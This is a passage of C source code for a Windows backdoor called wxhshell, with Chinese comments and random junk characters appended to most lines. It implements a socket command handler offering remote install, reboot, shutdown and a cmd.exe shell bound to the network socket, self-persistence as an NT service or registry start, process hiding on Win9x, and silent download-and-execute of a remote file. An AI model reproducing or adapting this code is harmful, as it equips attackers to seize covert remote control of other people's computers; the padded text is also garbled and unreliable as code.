    switch(cmd[0]) { 6SYQRK  
  mLa0BIP  
  // 帮助 /EJwO3MW  
  case '?': { [dszz7/L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /}_OCuJJ,  
    break; n@3(bl5{  
  } $!+t2P@d.5  
  // 安装 n?@3+wG  
  case 'i': { IEi E6z]L(  
    if(Install()) ~2R3MF.C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?DAW~+,!7o  
    else *O`76+iZ|_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qr5ME/)z  
    break; vV2px  
    } z8#c!h<@;  
  // 卸载 1|4'3^3  
  case 'r': { ;$ot,mH?T  
    if(Uninstall())  T?!&a0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); njz:7]>e  
    else =r<0l=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6bL"ZOEu  
    break; E8-8E2i,  
    } 6Y#-5oE u/  
  // 显示 wxhshell 所在路径 m?Gb5=qo  
  case 'p': { ^':Az6Z  
    char svExeFile[MAX_PATH]; <K8$00lm  
    strcpy(svExeFile,"\n\r"); &"V%n  
      strcat(svExeFile,ExeFile); HvITw%`  
        send(wsh,svExeFile,strlen(svExeFile),0); .x$!Rc}  
    break; .Yxx   
    } [zO    
  // 重启 ^k&T?uU  
  case 'b': { 9]Q\Pr\Ub$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "HWl7c3q  
    if(Boot(REBOOT)) 6B4s6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L{>XT  
    else { '/gw`MJ  
    closesocket(wsh); cZ(7/Pl  
    ExitThread(0); 48.2_H<  
    } Fm\ h883\  
    break; !_+LmBd G  
    } :K!@zT=o  
  // 关机 NT~L=x sY  
  case 'd': { cmQLkT"#K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^s@?\v  
    if(Boot(SHUTDOWN)) ~rBeJZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {5+t\~q$  
    else { H79|%@F"  
    closesocket(wsh); Q+ ;6\.#r  
    ExitThread(0); PI7M3\z  
    } -I1Ne^DZn4  
    break; -\;x>=#B  
    } 'C6 K\E  
  // 获取shell thk33ss:  
  case 's': { [YT"UVI  
    CmdShell(wsh); HYgq@47$[  
    closesocket(wsh); @DT${,.49  
    ExitThread(0); ?i*kwEj=  
    break; =K#D^c~  
  } RdlcJxM  
  // 退出 M%f96XUM  
  case 'x': { /nEh,<Y)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sL;qC\S  
    CloseIt(wsh); wVCZ=\L}  
    break; 4LYeacL B  
    } A{Giz&p  
  // 离开 qw[)$icP  
  case 'q': { Pj_2y)^?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m(nGtrQJm  
    closesocket(wsh); _yT Gv-  
    WSACleanup(); :)+|q  
    exit(1); k<uC[)_  
    break; M{+Ie?ZI  
        } p=6Q0r|'  
  } ZK))91;v  
  } =LHE_ AA  
^B2>lx\n  
  // 提示信息 uzL)qH$b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xMDx<sk  
} 79<{cexP  
  } ^- T!(P:  
Klh7&HzR  
  return; [E_6n$w  
} me@4lHBR  
[ aj F  
// shell模块句柄 JB(~O`  
int CmdShell(SOCKET sock) O<l_2?S1  
{ uArs[e|f  
STARTUPINFO si; agX-V{l.  
ZeroMemory(&si,sizeof(si)); w\KO1 Ob  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V%?oI]" l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9RwD_`D(MN  
PROCESS_INFORMATION ProcessInfo; ,EW-21  
char cmdline[]="cmd"; ;1}~(I#Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AQ 3n=Lr   
  return 0; pZz?c/h-  
} C5#3c yf*B  
8C4DOz|  
// 自身启动模式 hZ-No  
int StartFromService(void) oqOv"yLJ:  
{ NK]X="`  
typedef struct y/rmxQtP  
{ .r+u pY  
  DWORD ExitStatus; W}V L3s  
  DWORD PebBaseAddress; B<(v\=xZ  
  DWORD AffinityMask; y ?]G OQI  
  DWORD BasePriority; D Cx3_  
  ULONG UniqueProcessId; K.G}*uy  
  ULONG InheritedFromUniqueProcessId; si,fs%D&  
}   PROCESS_BASIC_INFORMATION; Q~<$'j  
qT^R> p  
PROCNTQSIP NtQueryInformationProcess;  UN[rW0*  
{\ vj":  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H2`aw3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ss+e*e5Ht  
`|e?91@vEa  
  HANDLE             hProcess; ,  A?o  
  PROCESS_BASIC_INFORMATION pbi; f.cIhZF  
szN`"Yi){  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =z^v)=uhp  
  if(NULL == hInst ) return 0; =FQ]eb*  
UbKdB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (( F[]<?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _P.+[RS@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z8FeL5.(  
(5rH 72g(  
  if (!NtQueryInformationProcess) return 0; FI{9k(  
H5uWI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?khwupdi  
  if(!hProcess) return 0; =qiX0JT  
0<75G6wd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X>l  
?3jOE4~aHr  
  CloseHandle(hProcess); nAv@^G2  
k]W~_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;|&Ak_I2G  
if(hProcess==NULL) return 0; E8#RG-ci  
T(%U$ea-S  
HMODULE hMod; m, ',luQ  
char procName[255]; ~Q%C>  
unsigned long cbNeeded; i{TErJ{}e  
MB;< F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3D70`u  
G>f-w F6  
  CloseHandle(hProcess); (%]&Pe]  
&o*/6X  
if(strstr(procName,"services")) return 1; // 以服务启动 W zYy<  
"mr;|$Y  
  return 0; // 注册表启动 ]X/1u"  
} M6U/. n  
:c%vl$  
// 主模块 0p\R@{  
int StartWxhshell(LPSTR lpCmdLine) ~jMdM~}  
{ 6N[XWyS  
  SOCKET wsl; !/O c)Yk  
BOOL val=TRUE; N 4Yvt&  
  int port=0; |Z}uN!Jm  
  struct sockaddr_in door; R06q~ >  
Ga0= G&/  
  if(wscfg.ws_autoins) Install(); @*jd.a`  
C=2"*>lTn  
port=atoi(lpCmdLine); \NwL#bQ~  
C(7uvQ  
if(port<=0) port=wscfg.ws_port; +V*FFv  
d54(6N%  
  WSADATA data; tkU"/$Vi\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JK0L&t<  
Pda(O;aNU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =B O} hk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UV8,SSDTV  
  door.sin_family = AF_INET; +` g&J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #UGm/4C  
  door.sin_port = htons(port); KA1Z{7UK%  
,W"Q)cL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (5S(CYls  
closesocket(wsl); ._JM3o}F  
return 1; )u~LzE]{_  
} PEZ~og:w  
w8i"-SE  
  if(listen(wsl,2) == INVALID_SOCKET) { zM?JLNs]<{  
closesocket(wsl); _ Js & _d  
return 1; fnV^&`BB  
} ;\yY*  
  Wxhshell(wsl); t. B %7e  
  WSACleanup(); \9*wo9cV  
zTb!$8D"g  
return 0; )HWf`;VQ  
m/l#hp+  
} 8*y hx  
w]Z*"B&h  
// 以NT服务方式启动 dX|(n.}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R /J@XP  
{ w7}m T3p,)  
DWORD   status = 0; *ZP$dQ  
  DWORD   specificError = 0xfffffff; o#Q0J17i?  
:/'2@M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hhQLld4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Stqlp<xy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *k$&U3=  
  serviceStatus.dwWin32ExitCode     = 0; G/T oiUY  
  serviceStatus.dwServiceSpecificExitCode = 0; V;$ME4B\{  
  serviceStatus.dwCheckPoint       = 0; U6V+jD}L]  
  serviceStatus.dwWaitHint       = 0; _ S%3?Q  
$OMTk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  wc# #'u  
  if (hServiceStatusHandle==0) return; Ng=XH"ce~  
x#z}A&  
status = GetLastError(); O^(ji8[l  
  if (status!=NO_ERROR) Kp[ F@A#  
{ r(9#kLXg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; eZ+pZq  
    serviceStatus.dwCheckPoint       = 0; 3B|?{U~  
    serviceStatus.dwWaitHint       = 0; It.G-(  
    serviceStatus.dwWin32ExitCode     = status; #;ez MRKM"  
    serviceStatus.dwServiceSpecificExitCode = specificError; }S84^2J_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F!m/n!YR  
    return; ()L[l@m  
  } D90m..\w  
% \OG#36  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C" vj#Tx  
  serviceStatus.dwCheckPoint       = 0; KG:CVIW Y  
  serviceStatus.dwWaitHint       = 0; }T([gc7~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yhF{ cK =  
} 4LY kK/:  
[|{2&830  
// 处理NT服务事件,比如:启动、停止 $kPC"!X\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n^Co  
{ M1(+_W`  
switch(fdwControl) KI&+Zw4VL  
{ uA]Z"  
case SERVICE_CONTROL_STOP: pU4k/v555;  
  serviceStatus.dwWin32ExitCode = 0; ^&gu{kP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uLok0"}  
  serviceStatus.dwCheckPoint   = 0; (.6~t<DRv  
  serviceStatus.dwWaitHint     = 0; @wa2Z  
  { J,@SSmJ`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R%7* )3$&r  
  } '~-JR>  
  return; !brXQj8D7  
case SERVICE_CONTROL_PAUSE: ID+ o6/V8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 92y<E<n  
  break; }O=QXIF5  
case SERVICE_CONTROL_CONTINUE: x4@v$phyH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L< 3U)Gp  
  break; h>jLhj<07W  
case SERVICE_CONTROL_INTERROGATE: /W4F(3oM  
  break; or2BG&W  
}; j SLC L'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j,@N0~D5  
} ~M@'=Q*~  
a~#MMl  
// 标准应用程序主函数 *dB^B5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~nul[>z  
{ y_aKW4L+  
P3[!-sv  
// 获取操作系统版本 'FVh/};Y.D  
OsIsNt=GetOsVer(); ,:RHhg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cY&SKV#  
1Q$ePo   
  // 从命令行安装 \SA"DT  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2=?/$A9p  
O3U6"{yJ)  
  // 下载执行文件 p.Y =  
if(wscfg.ws_downexe) { 6Xu^ cbD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ",U>;`  
  WinExec(wscfg.ws_filenam,SW_HIDE); }o>6 y>=  
} "rnZ<A}  
[(%6]L}  
if(!OsIsNt) { Q@M>DA!d^V  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,mpvGvAI  
HideProc(); -K+" :kiS  
StartWxhshell(lpCmdLine); m(~5X0  
} r3OTU$t?  
else %cy]dEL7  
  if(StartFromService()) |~QHCg<  
  // 以服务方式启动 Z^Y_+)=s  
  StartServiceCtrlDispatcher(DispatchTable); fpj,~+  
else 2&L2G'  
  // 普通方式启动 ('SA9JG  
  StartWxhshell(lpCmdLine); z]P =>w  
1J(` kQ)c  
return 0; u!NY@$Wc  
}
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只看该作者 1 发表于: 2006-10-10
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